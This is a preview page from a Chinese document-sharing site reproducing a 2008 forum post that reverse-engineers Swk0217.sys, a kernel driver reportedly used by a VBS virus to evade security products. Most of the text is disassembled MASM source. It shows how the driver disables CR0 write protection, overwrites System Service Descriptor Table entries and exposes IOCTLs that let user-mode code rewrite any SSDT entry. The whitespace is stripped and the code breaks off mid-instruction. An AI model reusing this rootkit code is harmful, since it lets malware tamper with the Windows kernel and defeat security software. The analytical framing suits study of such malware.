RootKit hook之[二] SSDT hook.docx_第1页
RootKit hook之[二] SSDT hook.docx_第2页
RootKit hook之[二] SSDT hook.docx_第3页
RootKit hook之[二] SSDT hook.docx_第4页
RootKit hook之[二] SSDT hook.docx_第5页
已阅读5页,还剩9页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

标 题:【原创】RootKit hook之二 SSDT hook作 者:combojiang时 间:2008-01-12,23:00:47链 接:/showthread.php?t=58199哈,好大一场雪啊,2008年的第一场雪,比以往来得早些。外面的雪在下,透过书房的窗,欣赏着外面的雪和过往的车辆,欣赏之余,便有了想写点东西的冲动。于是便有了本篇。谈到ssdthook,先前有堕落天才的一篇文章/showthread.php?p=285856#poststopSSDTHook的妙用对抗ring0inlinehook大家如果对基本概念不了解的话,可以看看这篇文章。另外,有一篇博客上也绘声绘色的描述了它。简单说说SSDT。今天我们透过一个实例看看它的应用,这个实例来源于sudami前面发出的一篇文章一VBS病毒过IS和微点了,无语.,夜深人静,我便把里面的Swk0217.sys逆向来看,写得很不错。该病毒是vbs调用驱动完成的。swk0217d的主要功能是:1。获取ssdt函数个数2。获取ssdt函数表中的所有函数3。hookZwQuerySystemInformation4。unhookZwQuerySystemInformation5。根据用户给定的函数地址和ssdt表中的索引,修改ssdt表。注:1)其中在hookZwQuerySystemInformation执行时,首先通过ZwQuerySystemInformation找出ntosknrl.exe模块的内存加载位置,然后通过ntosknrl.exe的导出表找出函数NtQuerySystemInformation的地址。然后hookZwQuerySystemInformation。各位看官,作者的主要目的是防止SSDT中该函数被挂钩,因此作者在这里做了恢复病毒作者要使用这个函数,但是害怕这个函数已经被别人做了手脚。2)unhookZwQuerySystemInformation时,作者使用完该函数后又恢复了ssdt原有的状态。.386.modelflat,stdcalloptioncasemap:noneincludew2kntstatus.incincludew2kntddk.incincludew2kntoskrnl.incincludelibC:RadASMmasm32libw2kntoskrnl.libincludeSwk0207.inc.dataunk_10B80db4Eh;Ndb0E6h;?db40h;db0BBh;?OldSSDTValueOfZwQuerySystemInformationdd0.code;6E746F736B726E6C2E65786500CC6A24=ntoskrnl.exe,0int3push24hFunctionArraydd736F746Eh,6C6E726Bh,6578652Eh,246ACC00h;*;ZwQuerySystemInformation获取ntoskrnl.exe的内存加载地址;*;typedefstruct_SYSTEM_MODULE_INFORMATION/InformationClass11;ULONGReserved2;+0;PVOIDBase;+08h;ULONGSize;+0ch;ULONGFlags;+10h;USHORTIndex;+14h;USHORTUnknown;+16h;USHORTLoadCount;+18h;USHORTModuleNameOffset;+1Ah;CHARImageName256;+1Ch;SYSTEM_MODULE_INFORMATION,*PSYSTEM_MODULE_INFORMATION;typedefNTSTATUS(_stdcall*ZWQUERYSYSTEMINFORMATION);(INSYSTEM_INFORMATION_CLASSSystemInformationClass,;INOUTPVOIDSystemInformation,;INULONGSystemInformationLength,;OUTPULONGReturnLengthOPTIONAL);typedefstruct_tagSysModuleList;ULONGulCount;SYSTEM_MODULE_INFORMATIONsmi1;SYSMODULELIST,*PSYSMODULELIST;用法如下:;s=NtQuerySystemInformation(SystemModuleInformation,pRet,;sizeof(SYSMODULELIST),&nRetSize);xorebx,ebxmovebp-24h,ebxmovebp-4,ebxleaeax,ebp-1Chpusheax;ReturnLengthpushebx;SystemInformationLength=0leaeax,ebp-20hpusheax;SystemInformationpush0Bh;SystemModuleInformation,遍历模块movesi,ZwQuerySystemInformationcallesi;ZwQuerySystemInformation,第一次调用得到需要的缓冲区长度movebp-28h,eaxcmpeax,0C0000004hjnzERRORRETpush206B6444h;kdD标签pushdwordptrebp-1Ch;申请的长度pushebx;NonPagedPoolcallExAllocatePoolWithTagmovedi,eaxmovebp-30h,edi;保留返回值cmpedi,ebx;判断返回值是否为空jnzNextStepordwordptrebp-4,0FFFFFFFFhxoreax,eaxjmpErrAllocMemNextStep:leaeax,ebp-34h;ReturnLengthpusheaxpushdwordptrebp-1Ch;SystemInformationLengthpushedi;SystemInformationpush0Bh;SystemModuleInformationcallesi;ZwQuerySystemInformationmovebp-28h,eaxcmpeax,ebxjlReleaseMemorymoveax,edimovebp-1Ch,eax;保留ZwQuerySystemInformation返回的SYSTEM_MODULE_INFORMATION元素个数leaesi,edi+4movebp-2Ch,esi;保留返回的SYSTEM_MODULE_INFORMATION数组首地址movebp-20h,ebx;计数变量清零FORLOOP:moveax,ebp-1Ch;开始for循环cmpebp-20h,eaxjnbReleaseMemorypushoffsetFunctionArray;例如:ImageName:windowssystem32ndis.sys,那么ModuleNameOffset就是0x11movzxeax,wordptresi+1Ah;SYSTEM_MODULE_INFORMATION.ModuleNameOffset,指向名字的偏移leaeax,eax+esi+1Ch;SYSTEM_MODULE_INFORMATION.ImageName+SYSTEM_MODULE_INFORMATION.ModuleNameOffsetpusheax;不包含路径的名字call_stricmppopecx;出栈popecxtesteax,eaxjnzContinueLoopmoveax,esi+8;返回SYSTEM_MODULE_INFORMATION.Basemovebp-24h,eax;返回值保存在ebp-24h单元ReleaseMemory:pushedicallExFreePooljmpERRORRETContinueLoop:incdwordptrebp-20h;循环变量递增addesi,11Ch;取下一个SYSTEM_MODULE_INFORMATION类型元素movebp-2Ch,esi;暂存当前的SYSTEM_MODULE_INFORMATION元素jmpFORLOOPSehFunctionprocnearmovesp,ebp-18hERRORRET:ordwordptrebp-4,0FFFFFFFFhmoveax,ebp-24hErrAllocMem:retSehFunctionendp;*;相当于GetProcessAddress的功能,hModule是指ntoskrnl.exe模块,查找该PE导出表,;找出pFunctionName的函数地址.;工作原理:遍历导出表中的AddressOfFunctions,每取出一个函数地址,都根据其在AddressOfFunctions中的;索引,遍历整个的AddressOfNames表和AddressOfNameOrdinals表,找出序号跟AddressOfFunctions;索引相匹配的函数名,比对函数名和输入参数2是否相同,相同则从AddressOfFunctions中返回当前函数;的地址,不同则继续找.;*GetProcessFromNtoskrnlprochModule:dword,FunctionName:dwordLOCALAddressOfNameOrdinals:dword;函数名序号表LOCALAddressOfNames:dword;函数名地址表LOCALOutputTable:dword;导出表地址LOCALAddressOfFunctions:dword;指向导出函数地址表中的指针LOCALpFunctionName:dword;函数名LOCALi:dword;循环变量LOCALCurAddressOfNameOrdinals:dword;当前函数名序号LOCALCurAddressOfNames:dword;当前的函数名地址LOCALnIndex:dword;循环变量LOCALmyFoundOutFunctionName:dword;我们从函数名地址表中找出的函数名指针LOCALInputFunctionName:dword;输入的函数名指针,指向参数2LOCALSecondCharacterOfFunctionName:byteLOCALFirstCharacterOfFunctionName:bytemovedx,hModulemoveax,edx+3Chaddeax,edx;指向PEHeadercmpwordptredx,5A4Dh;MZjnzQuitcmpdwordptreax,4550h;PEjnzQuitmoveax,eax+78haddeax,edx;指向导出表movOutputTable,eaxmovedi,eax+20h;IMAGE_EXPORT_DIRECTORY.AddressOfNamesaddedi,edxmovAddressOfNames,edimovesi,eax+1Ch;IMAGE_EXPORT_DIRECTORY.AddressOfFunctionsaddesi,edxmovAddressOfFunctions,esimovecx,eax+24h;IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinalsaddecx,edxmovAddressOfNameOrdinals,ecxandnIndex,0movedx,pFunctionNameStartSearch:movebx,nIndexcmpebx,eax+14h;IMAGE_EXPORT_DIRECTORY.NumberOfFunctionsjnbQuitcmpdwordptresi,0;判断AddressOfFunctions中第一个函数地址是否为空jzNextAddressOfFunction;如果为空,就取IMAGE_EXPORT_DIRECTORY.AddressOfFunctions表中的下一个函数movCurAddressOfNames,edimovCurAddressOfNameOrdinals,ecxandi,0StartFindFunctionFromAddressOfNames:movebx,icmpebx,eax+18h;IMAGE_EXPORT_DIRECTORY.NumberOfNamesjnbOutOfRangemovebx,CurAddressOfNameOrdinalsmovzxebx,wordptrebxcmpebx,nIndex;判断从AddressOfFunctions得到的序号,跟AddressOfNameOrdinals得到序号是否一致jnzNextAddressOfNameOrdinalsmovedx,CurAddressOfNamesmovedx,edxaddedx,hModulemovpFunctionName,edx;取出函数名OutOfRange:testedx,edx;判断是否空jzContinueWorkmovmyFoundOutFunctionName,edx;暂存函数名movedx,FunctionNamemovInputFunctionName,edx;暂存输入的函数名CompareFunctionName:movedx,InputFunctionNamemovdl,edxmovFirstCharacterOfFunctionName,dlmovebx,myFoundOutFunctionNamecmpdl,ebxjnzDifferent;不相同testdl,dl;判断InputFunctionName是否为空,如果为空,就返回函数地址表中的第一个jzRetCurrentFunctionAddressmovedx,InputFunctionName;比对函数名中的下一个字符movdl,edx+1movSecondCharacterOfFunctionName,dlcmpdl,ebx+1jnzDifferentaddInputFunctionName,2addmyFoundOutFunctionName,2testdl,dljnzCompareFunctionNameRetCurrentFunctionAddress:xoredx,edx;edx=0,表示找到对应的函数jmpGetFunctionAddressNextAddressOfNameOrdinals:addCurAddressOfNames,4addCurAddressOfNameOrdinals,2incijmpStartFindFunctionFromAddressOfNamesDifferent:sbbedx,edxsbbedx,0FFFFFFFFh;edx=1,表示没有找到对应的函数,继续找GetFunctionAddress:testedx,edxjnzContinueWorkmovesi,esiaddesi,hModulemoveax,esi;返回函数地址jmpFoundedContinueWork:xoredx,edxmovpFunctionName,edxNextAddressOfFunction:addesi,4movAddressOfFunctions,esiincnIndexjmpStartSearchQuit:xoreax,eaxFounded:retGetProcessFromNtoskrnlendp;*;给出一个索引值和一个函数地址,修改ssdt表;*HookSSDTByFunIndexprocValue:dword,Index:dwordmovecx,Indexmoveax,KeServiceDescriptorTablecmpecx,eax+8;NumberOfServicejbfxoral,aljmpQuit:;去掉写保护pusheaxmoveax,cr0andeax,0FFFEFFFFhmovcr0,eaxpopeaxmoveax,KeServiceDescriptorTablemoveax,eaxmovedx,Value;Valueleaecx,eax+ecx*4;TargetcallInterlockedExchange;恢复写保护pusheaxmoveax,cr0oreax,10000hmovcr0,eaxpopeaxQuit:retHookSSDTByFunIndexendp;*;hookZwQuerySystemInfomation,替换为NtQuerySystemInformation,返回值为原来的值;*HookSSDTprocValue:dword,FunAddr:dwordpusheax;去掉写保护moveax,cr0andeax,0FFFEFFFFhmovcr0,eaxpopeaxmovecx,KeServiceDescriptorTablemoveax,FunAddrmoveax,eax+1;通过ZwQuerySystemInfomation得到ssdt中的indexmovecx,ecx;ServiceTableBasemovedx,Value;Valueleaecx,ecx+eax*4;TargetcallInterlockedExchangemovecx,eaxpusheax;恢复写保护moveax,cr0oreax,10000hmovcr0,eaxpopeaxmoveax,ecxretHookSSDTendpSourceStringwcharL()swkUnLoadprocpDriverObject:dwordLOCALDestinationString:UNICODE_STRINGpushecxpushecxpushoffsetSourceString;SourceStringleaeax,DestinationStringpusheax;DestinationStringcallRtlInitUnicodeStringleaeax,DestinationStringpusheax;SymbolicLinkNamecallIoDeleteSymbolicLinkmoveax,pDriverObjectpushdwordptreax+4;DeviceObjectcallIoDeleteDeviceretswkUnLoadendpaNtquerysystemidbNtQuerySystemInformation,0DispatchFunction:pushesimovesi,esp+0Ch;pIrpmoveax,esi+60h;取IRP.CurrentStackLocationanddwordptresi+18h,0;将IRP中的IoStatus置零,这个结构体见ntddk.incanddwordptresi+1Ch,0cmpbyteptreax,0Eh;IO_STACK_LOCATION.MajorFunctionmovedx,esi+0Ch;IRP.AssociatedIrp.SystemBuffermovecx,eax+8;IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLengthpushedijnzCreateAndClosemoveax,eax+0Ch;IoControlCodecmpeax,83471060hjzGetSSDTNum;获取ssdt函数个数cmpeax,83471064hjzGetSSDTFunction;获取ssdt函数表cmpeax,83471068hjzHookZwQuerySystemInformation;hookZwQuerySystemInformationcmpeax,8347106ChjzRestoreHookSSDT;恢复前面hook的ZwQuerySystemInformationcmpeax,83471070hjzModifySSDTByFunIndex;根据用户给定的函数地址和ssdt表中的索引,修改ssdt表movdwordptresi+18h,0C000000Dh;IoStatusjmpCreateAndCloseModifySSDTByFunIndex:push8popedicmpecx,edi;判断InputBufferLength是否等于8jnzCreateAndClosepushdwordptredx+4;SystemBuffer中第二个dword值,代表一个ssdt表中的索引pushdwordptredx;SystemBuffer中第一个dword值,代表一个给定的函数地址callHookSSDTByFunIndextestal,aljzCreateAndClosemovesi+1Ch,edijmpCreateAndCloseRestoreHookSSDT:;恢复ssdt表moveax,OldSSDTValueOfZwQuerySystemInformationtesteax,eaxjzCreateAndClosemovecx,ZwQuerySystemInformationcmpeax,ecxjzHaveDonepushecxpusheaxcallHookSSDTHaveDone:andOldSSDTValueOfZwQuerySystemInformation,0jmpCreateAndCloseHookZwQuerySystemInformation:callnearptrFunctionArray+0Eh;执行push24h,通过ZwQuerySystemInformation获取ntoskrnl.exe的内存加载地址testeax,eaxjzCreateAndClosepushoffsetaNtquerysystemi;NtQuerySystemInformationpusheaxcallGetProcessFromNtoskrnlmovecx,ZwQuerySystemInformationcmpeax,ecxjzCreateAndClosepushecxpusheaxcallHookSSDTmovOldSSDTValueOfZwQuerySystemInformation,eax;保存原ssdt表中函数地址jmpCreateAndCloseGetSSDTFunction:moveax,KeServiceDescriptorTablemovedi,eax+8;NumberOfServicepushebxmovebx,edishlebx,2;NumberOfService*4cmpecx,ebx;比较输入长度与NumberOfService*4,判断申请的缓冲区是否够popebxjbCreateAndClosexorecx,ecxtestedi,edijbeGetSSDTFunctionErrGetNextSSDTFunction:moveax,eaxmoveax,eax+ecx*4movedx+ecx*4,eaxmoveax,KeServiceDescriptorTableincecxcmpecx,eax+8jbGetNextSSDTFunctionGetSSDTFunctionErr:moveax,eax+8shleax,2jmpQuitGetSSDTNum:push4popeaxcmpecx,eax;输入长度4跳转jbCreateAndClosemovecx,KeServiceDescriptorTablemovecx,ecx+8;NumberOfServicemovedx,ecx;edx指向IRP.AssociatedIrp.SystemBufferQuit:movesi+1Ch,eaxCreateAndClose:mo

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论